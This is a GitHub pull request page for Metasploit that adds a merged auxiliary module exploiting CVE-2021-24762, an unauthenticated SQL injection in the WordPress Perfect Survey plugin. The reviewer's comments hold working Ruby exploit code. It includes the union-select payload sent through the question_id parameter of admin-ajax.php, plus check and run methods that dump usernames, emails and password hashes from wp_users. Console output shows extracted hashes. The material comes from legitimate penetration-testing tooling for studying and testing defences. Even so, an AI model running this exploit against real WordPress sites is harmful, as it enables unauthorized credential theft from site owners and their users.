Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Auxiliary Module for CVE-2021-24762: WordPress Plugin Perfect Survey - 1.5.1 - SQLi (Unauthenticated) #19701

Merged
merged 14 commits into from
Dec 10, 2024

Conversation

aaryan-11-x
Copy link
Contributor

Hello Metasploit Team,

I am submitting a new auxiliary module for the WordPress Perfect Survey plugin, targeting an unauthenticated SQL injection vulnerability (CVE-2021-24762). This vulnerability affects version upto 1.5.1 of the plugin and allows an attacker to retrieve sensitive information such as usernames and password hashes from the wp_users table without authentication.

Summary of the Vulnerability:

  • Vulnerable Software: Perfect Survey WordPress plugin
  • Affected Version: Upto 1.5.1
  • Patched Version: 1.5.2
  • CVE: CVE-2021-24762
  • Impact: Exposure of sensitive information (usernames and password hashes).
  • Pre-requisite: The vulnerable Perfect Survey plugin must be installed and active on the target WordPress instance.

Module Highlights:

  • Exploits SQL injection in the question_id parameter to retrieve sensitive data.
  • Extracts usernames and password hashes from the wp_users table.
  • Implements error handling to detect and handle situations where data extraction fails.
  • Includes a configurable option (SHOW_FULL_RESPONSE) to print the full JSON response from the server when data extraction is unsuccessful.

Verification Steps:

  1. Install WordPress and the vulnerable Perfect Survey plugin (version 1.5.1). Download the vulnerable plugin from here.
  2. Start msfconsole.
  3. Use the module: use auxiliary/scanner/http/wp_perfect_survey_sqli.
  4. Set the target host: set RHOSTS [ip].
  5. Run the module: run.
  6. Extracted usernames and password hashes should be displayed if the target is vulnerable.

Output

msf6 > use auxiliary/scanner/http/wp_perfect_survey_sqli
[*] Using auxiliary/scanner/http/wp_perfect_survey_sqli
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set RPORT 8000
RPORT => 8000
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > set TARGETURI /wordpress
TARGETURI => /wordpress
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit 
[*] Running module against 192.168.1.104

[*] Exploiting SQLi in Perfect Survey plugin...
[+] Received a response from the server!
[+] Extracted Username: aaryan
[+] Extracted Password Hash: $P$BroxbUQTM0N32U7JeMmkXPJrxN9ErZ1
[*] Auxiliary module execution completed

References:

Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello @aaryan-11-x! Thanks for your module!
I've left a couple of comments on your PR, let me know if you need anything.

modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb Outdated Show resolved Hide resolved
@aaryan-11-x aaryan-11-x marked this pull request as draft December 9, 2024 18:12
@aaryan-11-x aaryan-11-x marked this pull request as ready for review December 10, 2024 04:47
@aaryan-11-x
Copy link
Contributor Author

Hi @dledda-r7 I made all the changes as you requested. I've still kept the SHOW_FULL_RESPONSE option just as a fallback mechanism. Please review the changes again. Thank you!

Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello! Thanks a lot for addressing my review, this looks good!, I was thinking this module would be great with our SQLi mixin implemented, I took some time to leave here some documentation in how to do the porting to the mixin:

You can add the mixin like this:

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  prepend Msf::Exploit::Remote::AutoCheck
  
  GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze

Define your SQL Injection using the SQLInjection mixin:

def get_sqli_object
    create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
      endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
      sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users"
      params = {
        'action' => 'get_question',
        'question_id' => sqli_payload
      }
      res = send_request_cgi({
        'uri' => endpoint,
        'method' => 'GET',
        'vars_get' => params
      })
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200

      html_content = res.get_json_document['html']

      fail_with(Failure::Unknown, 'HTML content is empty') unless html_content
      match_data = /survey_question_p">([^<]+)/.match(html_content)
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data

      extracted_data = match_data.captures[0]
      return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data

      extracted_data
    end
  end

Also having the check method is really useful:

  def check
    @sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
    return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable

    Exploit::CheckCode::Safe
  end

Finally the run will look like this:

def run
    print_status('Exploiting SQLi in Perfect Survey plugin...')
    @sqli ||= get_sqli_object
    fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG

    creds_table = Rex::Text::Table.new(
      'Header' => 'Wordpress User Credentials',
      'Indent' => 1,
      'Columns' => ['Username', 'Email', 'Hash']
    )

    print_status('Extracting credential information')
    users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass])
    users.each do |(username, email, hash)|
      creds_table << [username, email, hash]
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: username,
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
        private_data: hash,
        service_name: 'WordPress Perfect Survey Plugin',
        address: datastore['RHOSTS'],
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED,
        email: email
      })
    end
    print_line creds_table.to_s
  end

The output of the module will look like this:

msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Exploiting SQLi in Perfect Survey plugin...
[*] Extracting credential information
Wordpress User Credentials
==========================

 Username  Email                Hash
 --------  -----                ----
 admin     [email protected]  $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1

[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > 

This will also add the credentials to the database! if you have any question feel free to ask!

@dledda-r7
Copy link
Contributor

Also we can add perfect-survey to data/wordlists/wp-exploitable-plugins.txt since is a new plugin msf can exploit!

@aaryan-11-x
Copy link
Contributor Author

I've made all the changes again as you requested. Please take a look at the code.

Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @aaryan-11-x!
I retested and looks all good from my end, there are just few minor things I'll take care before landing it. Thanks again for your time!

msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exploit
[*] Running module against 127.0.0.1

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Exploiting SQLi in Perfect Survey plugin...
[*] Extracting credential information

WordPress User Credentials
==========================

 Username  Email                Hash
 --------  -----                ----
 admin     [email protected]  $P$BwkQxR6HIt64UjYRG4D5GRKYdk.qcR1

[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/wp_perfect_survey_sqli) > exit

@aaryan-11-x
Copy link
Contributor Author

Thank you so much! This was the first Metasploit module I ever created & getting it accepted is a big thing for me.

@dledda-r7 dledda-r7 merged commit 4c0a403 into rapid7:master Dec 10, 2024
36 checks passed
@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 10, 2024
@dledda-r7
Copy link
Contributor

Release Notes

This adds an auxiliary module that exploits CVE-2021-24762, an unauthenticated SQL Injection that allows dumping user credentials from the database.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

2 participants